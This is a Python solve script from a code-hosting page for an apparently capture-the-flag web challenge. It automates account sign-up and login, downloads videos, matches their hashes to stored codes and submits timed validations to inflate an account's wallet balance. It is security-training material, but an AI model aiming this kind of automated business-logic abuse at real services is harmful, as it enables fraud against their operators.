-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
165 lines (122 loc) · 4.56 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from requests import *
from bs4 import BeautifulSoup as bs4
from hashlib import sha1
import time, threading
import os
import json
def getWalletAmount(s: Session):
account = s.get("http://infinitemoneyglitch.chall.malicecyber.com/account")
if account.status_code == 200:
parsedAccountText = bs4(account.text, "html.parser")
account = parsedAccountText.findAll(class_="account")[0]
amount = float(
account.find_all("p")[6]
.text.replace("\nWallet : ", "")
.replace("€\n", "")
.replace(" ", "")
)
return amount
def signup(s: Session, email, password):
signupData = {
"email": email,
"username": "0xNath",
"firstname": "Nathanael",
"lastname": "Renaud",
"confirm_password": password,
"password": password,
"submit": "Log+In",
}
s.post("http://infinitemoneyglitch.chall.malicecyber.com/signup", data=signupData)
def login(s: Session, email, password):
authenticationData = {"email": email, "password": password, "submit": "Log+In"}
s.post(
"http://infinitemoneyglitch.chall.malicecyber.com/login",
data=authenticationData,
)
if len(s.cookies) != 1:
return False
return True
def downloadVideo(s: Session, uuid: str) -> None:
request = s.get(
f"http://infinitemoneyglitch.chall.malicecyber.com/stream/{uuid}", stream=True
)
if request.status_code == 200:
video = bytes()
for videoChunk in request.iter_content(chunk_size=1024):
video += videoChunk
videoHash = sha1(video).hexdigest()
with open(f"./videos/{videoHash}.mp4", "wb") as fileForVideo:
fileForVideo.write(video)
with open(f"./videoCodes.json", "rt+") as videoHashAndCodeStream:
videoHashAndCode = json.loads(videoHashAndCodeStream.read())
if videoHash not in videoHashAndCode.keys():
videoHashAndCodeStream.seek(0)
videoHashAndCodeStream.truncate(0)
videoHashAndCode.update({videoHash: ""})
videoHashAndCodeStream.write(json.dumps(videoHashAndCode))
else:
return (videoHash, videoHashAndCode[videoHash])
def getVideoInfo(s: Session) -> str:
request = s.get("http://infinitemoneyglitch.chall.malicecyber.com/video")
if request.status_code == 200:
parsedRequestText = bs4(request.text, "html.parser")
video = parsedRequestText.find_all("video")[0]
videoUUID = video.source["src"].replace("/stream/", "")
return videoUUID
def validateVideo(s: Session, videoUUID, videoCode):
request = s.post(
"http://infinitemoneyglitch.chall.malicecyber.com/validate",
headers={"Content-Type": "application/json"},
json={"uuid": videoUUID, "code": videoCode},
)
if request.status_code != 200:
print(request.json())
def getHashList():
uniqueHashList = []
hashFilesList = os.popen('ls ./videos/ | grep "hash"').read()
hashFilesList = hashFilesList.split("\n")
for file in hashFilesList:
try:
with open(f"./videos/{file}", "rt") as f:
hash = f.read()
if hash not in uniqueHashList:
uniqueHashList.append(hash)
except:
pass
return uniqueHashList
if __name__ == "__main__":
with open("auth", "rt") as authInfo:
authInfoValues = authInfo.read()
email = authInfoValues.split(" ")[0]
password = authInfoValues.split(" ")[1]
s = session()
s.get("http://infinitemoneyglitch.chall.malicecyber.com/login")
if login(s, email, password):
print("Successful authentication.")
print(f"Account wallet : {getWalletAmount(s)} €")
else:
print("Registration needed...")
signup(s, email, password)
print("registration done.")
threadPool = []
print(f"Still {500 - int(getWalletAmount(s) * 10)} requests to do")
print(f"Beginning at {time.ctime()}")
for i in range(0, 500 - int(getWalletAmount(s) * 10)):
try:
videoUUID = getVideoInfo(s)
videoHash, videoCode = downloadVideo(s, videoUUID)
threadPool.append(
threading.Timer(21, validateVideo, [s, videoUUID, videoCode]).start()
)
except Exception as e:
print(e)
pass
threadPool.append(
threading.Timer(
21,
print,
[
f"Done.",
],
).start()
)